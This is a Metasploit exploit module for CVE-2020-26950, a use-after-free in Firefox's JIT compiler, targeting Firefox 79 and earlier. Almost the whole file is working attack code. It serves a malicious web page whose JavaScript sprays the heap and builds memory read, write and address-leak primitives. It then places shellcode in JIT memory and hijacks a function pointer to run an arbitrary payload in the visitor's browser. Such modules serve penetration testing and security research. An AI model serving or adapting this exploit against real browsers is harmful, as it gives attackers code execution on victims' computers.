##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer::BrowserExploit

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
        'Description' => %q{
          This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
          The MCallGetProperty opcode can be emitted with unmet assumptions resulting
          in an exploitable use-after-free condition.

          This exploit uses a somewhat novel technique of spraying ArgumentsData
          structures in order to construct primitives. The shellcode is forced into
          executable memory via the JIT compiler, and executed by writing to the JIT
          region pointer.

          This exploit does not contain a sandbox escape, so firefox must be run
          with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
          for the shellcode to run successfully.

          This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
          Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
          Additional work may be needed to support other versions such as Firefox 82.0.1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          '360 ESG Vulnerability Research Institute', # discovery
          'maxpl0it', # writeup and exploit
          'timwr', # metasploit module
        ],
        'References' => [
          ['CVE', '2020-26950'],
          ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],
          ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],
        ],
        'Arch' => [ ARCH_X64 ],
        'Platform' => ['linux', 'windows'],
        'DefaultTarget' => 0,
        'Targets' => [
          [ 'Automatic', {}],
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Stability' => [CRASH_SAFE]
        },
        'DisclosureDate' => '2020-11-18'
      )
    )
  end

  def create_js_shellcode
    shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
    if (shellcode.length % 8 > 0)
      shellcode += "\x00" * (8 - shellcode.length % 8)
    end
    shellcode_js = ''
    for chunk in 0..(shellcode.length / 8) - 1
      label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr
      shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]
      shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"
    end
    shellcode_js
  end

  def on_request_uri(cli, request)
    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    shellcode_js = create_js_shellcode
    jscript = <<~JS
      // Triggers the vulnerability
      function jitme(cons, interesting, i) {
         interesting.x1 = 10; // Make sure the MSlots is saved

         new cons(); // Trigger the vulnerability - Reallocates the object slots

         // Allocate a large array on top of this previous slots location.
         let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has

         // Avoid Elements Copy-On-Write by pushing a value
         target.push(i);

         // Write the Initialized Length, Capacity, and Length to be larger than it is
         // This will work when interesting == cons
         interesting.x1 = 3.476677904727e-310;
         interesting.x0 = 3.4766779039175e-310;

         // Return the corrupted array
         return target;
      }

      // Initialises vulnerable objects
      function init() {
         // arr will contain our sprayed objects
         var arr = [];

         // We'll create one object...
         var cons = function() {};
         for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)
         arr.push(cons);

         // ...then duplicate it a whole bunch of times
         // The number of times has two uses:
         //    - Heap spray - Stops any already freed objects getting in our way
         //    - Allows us to get the jitme function compiled
         for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));

         // Return the array
         return arr;
      }

      // Global that holds the total number of objects in our original spray array
      TOTAL = 0;

      // Global that holds the target argument so it can be used later
      arg = 0;

      evil = 0;

      //   setup_prim - Performs recursion to get the vulnerable arguments object
      //       arguments[0] - Original spray array
      //       arguments[1] - Recursive depth counter
      //       arguments[2]+ - Numbers to pad to the right reallocation size
      function setup_prim() {
         // Base case of our recursion
         // If we have reached the end of the original spray array...
         if(arguments[1] == TOTAL) {

             // Delete an argument to generate the RareArgumentsData pointer
             delete arguments[3];

             // Read out of bounds to the next object (sprayed objects)
             // Check whether the RareArgumentsData pointer is null
             if(evil[511] != 0) return arguments;

             // If it was null, then we return and try the next one
             return 0;
         }

         // Get the cons value
         let cons = arguments[0][arguments[1]];

         // Move the pointer (could just do cons.p481 = 481, but this is more fun)
         new cons();

         // Recursive call
         res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );

         // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it
         if(res != 0) return res;

         // Otherwise, repeat the base case (delete an argument)
         delete arguments[3];

         // Check if the next object has a null RareArgumentsData pointer
         if(evil[511] != 0) return arguments; // Return arguments if not

         // Otherwise just return 0 and try the next one
         return 0;
      }

      // weak_read32 - Bit-by-bit read
      function weak_read32(arg, addr) {
         // Set the RareArgumentsData pointer to the address
         evil[511] = addr;

         // Used to hold the leaked data
         let val = 0;

         // Read it bit-by-bit for 32 bits
         // Endianness is taken into account
         for(let i = 32; i >= 0; i--) {
             val = val << 1; // Shift
             if(arg[i] == undefined) {
                 val = val | 1;
             }
         }

         // Return the integer
         return val;
      }

      // weak_read64 - Bit-by-bit read using BigUint64Array
      function weak_read64(arg, addr) {
         // Set the RareArgumentsData pointer to the address
         evil[511] = addr;

         // Used to hold the leaked data
         val = new BigUint64Array(1);
         val[0] = 0n;

         // Read it bit-by-bit for 64 bits
         for(let i = 64; i >= 0; i--) {
             val[0] = val[0] << 1n;
             if(arg[i] == undefined) {
                 val[0] = val[0] | 1n;
             }
         }

         // Return the BigInt
         return val[0];
      }

      // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box
      function write_nan(arg, addr) {
         evil[511] = addr;
         for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box
      }

      // write - Write a value to an address
      function write(address, value) {
         // Set the fake ArrayBuffer backing store address
         address = dbl_to_bigint(address)
         target_uint32arr[14] = parseInt(address) & 0xffffffff
         target_uint32arr[15] = parseInt(address >> 32n);

         // Use the fake ArrayBuffer backing store to write a value to a location
         value = dbl_to_bigint(value);
         fake_arrbuf[1] = parseInt(value >> 32n);
         fake_arrbuf[0] = parseInt(value & 0xffffffffn);
      }

      // addrof - Gets the address of a given object
      function addrof(arg, o) {
         // Set the 5th property of the arguments object
         arg[5] = o;

         // Get the address of the 5th property
         target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)

         // Set the fake ArrayBuffer backing store to point to this location
         target_uint32arr[14] = parseInt(target) & 0xffffffff;
         target_uint32arr[15] = parseInt(target >> 32n);

         // Read the address of the object o
         return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);
      }

      // shellcode - Constant values which hold our shellcode to pop xcalc.
      function shellcode(){
      #{shellcode_js}
      }

      // helper functions
      var conv_buf = new ArrayBuffer(8);
      var f64_buf = new Float64Array(conv_buf);
      var u64_buf = new Uint32Array(conv_buf);

      function dbl_to_bigint(val) {
          f64_buf[0] = val;
          return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
      }

      function bigint_to_dbl(val) {
          u64_buf[0] = Number(val & 0xffffffffn);
          u64_buf[1] = Number(val >> 32n);
          return f64_buf[0];
      }

      function main() {
         let i = 0;
         // ensure the shellcode is in jit rwx memory
         for(i = 0;i < 0x5000; i++) shellcode();

         // The jitme function returns arrays. We'll save them, just in case.
         let arr_saved = [];

         // Get the sprayed objects
         let arr = init();

         // This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled
         let interesting = arr[arr.length - 10];

         // Iterate over the vulnerable object array
         for (i = 0; i < arr.length; i++) {
             // Run the jitme function across the array
             corr_arr = jitme(arr[i], interesting, i);

             // Save the generated array. Never trust the garbage collector.
             arr_saved[i] = corr_arr;

             // Find the corrupted array
             if(corr_arr.length != 491) {
                 // Save it for future evil
                 evil = corr_arr
                 break;
             }
         }

         if(evil == 0) {
             print("Failure: Failed to get the corrupted array");
             return;
         }
         print("got the corrupted array " + evil.length);

         TOTAL=arr.length;
         arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);

         old_rareargdat_ptr = evil[511];
         print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));

         iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value
         counter = 0; // Used to prevent a while(true) situation
         while(counter < 0x200) {
             // Read the current address
            output = weak_read32(arg, bigint_to_dbl(iterator));

            // Check if it's the expected size value for our ArgumentsObject object
            if(output == 0x1e10 || output == 0x1e20) {
                // If it is, then read the ArgumentsData pointer
                ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));

                // Get the pointer in ArgumentsData to RareArgumentsData
                ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));

                // ad_location + 8 points to the RareArgumentsData pointer, so this should match
                // We do this because after spraying arguments, there may be a few ArgumentObjects to go past
                if((ad_location + 8n) == ptr_in_argdat) break;
            }
            // Iterate backwards
            iterator = iterator - 8n;

             // Increment counter
            counter += 1;
         }

         if(counter == 0x200) {
             print("Failure: Failed to get AD location");
             return;
         }

         print("AD location: " + ad_location.toString(16));

         // The target Uint32Array - A large size value to:
         //   - Help find the object (Not many 0x00101337 values nearby!)
         //   - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)
         target_uint32arr = new Uint32Array(0x101337);

         // Find the Uint32Array starting from the original leaked Nursery pointer
         iterator = dbl_to_bigint(old_rareargdat_ptr);
         counter = 0; // Use a counter
         while(counter < 0x5000) {

             // Read a memory address
             output = weak_read32(arg, bigint_to_dbl(iterator));

             // If we have found the right size value, we have found the Uint32Array!
             if(output == 0x101337) break;

             // Check the next memory location
             iterator = iterator + 8n;

             // Increment the counter
             counter += 1;
         }

         if(counter == 0x5000) {
             print("Failure: Failed to find the Uint32Array");
             return;
         }

         // Subtract from the size value address to get to the start of the Uint32Array
         arr_buf_addr = iterator - 40n;

         // Get the Array Buffer backing store
         arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator  + 16n));
         print("AB Location: " + arr_buf_loc.toString(16));

         // Create a fake ArrayBuffer through cloning
         iterator = arr_buf_addr;
         for(i=0;i<64;i++) {
             output = weak_read32(arg, bigint_to_dbl(iterator));
             target_uint32arr[i] = output;
             iterator = iterator + 4n;
         }

         // Cell Header - Set it to Nursery to pass isNursery()
         target_uint32arr[0x3fffa] = 1;

         // Write an unboxed pointer to arguments[0]
         evil[512] = bigint_to_dbl(arr_buf_loc);

         // Make it NaN-Boxed
         write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]

         // From here we have a fake UintArray in arg[0]
         // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
         fake_arrbuf = arg[0];

         // Get the address of the shellcode function object
         shellcode_addr = addrof(arg, shellcode);
         print("Function is at: " + shellcode_addr.toString(16));

         // Get the jitInfo pointer in the JSFunction object
         jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_
         print("  jitinfo: " + jitinfo.toString(16));

         // We can then fetch the RX region from  here
         rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));
         print("  RX Region: " + rx_region.toString(16));

         iterator = rx_region; // Start from the RX region
         found = false
         // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.
         for(i = 0; i < 0x800; i++) {
             data = weak_read64(arg, bigint_to_dbl(iterator));
             if(data == 0x41414141n) {
                 iterator = iterator + 8n;
                 found = true;
                 break;
             }
             iterator = iterator + 8n;
         }
         if(!found) {
             print("Failure: Failed to find the JIT start");
             return;
         }

         // We now have a pointer to the start of the shellcode
         shellcode_location = iterator;
         print("Shellcode start: " + shellcode_location.toString(16));

         // And can now overwrite the previous jitInfo pointer with our shellcode pointer
         write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));

         print("Triggering...");
         shellcode(); // Triggering our shellcode is as simple as calling the function again.
      }
      main();
    JS

    jscript = add_debug_print_js(jscript)
    html = %(
<html>
<script>
#{jscript}
</script>
</html>
)
    send_response(cli, html, {
      'Content-Type' => 'text/html',
      'Cache-Control' => 'no-cache, no-store, must-revalidate',
      'Pragma' => 'no-cache', 'Expires' => '0'
    })
  end

end
